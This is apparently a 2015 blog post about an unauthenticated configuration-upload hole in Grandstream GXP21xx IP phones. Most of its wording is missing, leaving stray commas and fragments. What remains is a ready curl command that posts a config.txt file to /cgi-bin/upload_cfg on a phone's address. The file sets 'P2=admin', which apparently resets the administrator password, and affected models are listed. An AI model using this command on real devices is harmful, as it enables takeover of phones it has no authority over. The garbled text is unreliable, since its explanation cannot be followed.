, 12 2015 . 02:55
+
, Grandstream.
1.
gxp21xx api, , /cgi-bin/upload_cfg
, sessionid, . curl , , :
curl -i -F name="config.txt" -F file="@config.txt;type=text/plain" -H "Content-Disposition: form-data; name=file; filename=config.txt" http://xx.xx.xx.xx/cgi-bin/upload_cfg
config.txt : =
P2=admin, , .
, ..
gxp2130, gxp2140 gxp2160
→ http://habrahabr.ru/post/250403/
:
grandstream
asterisk
linux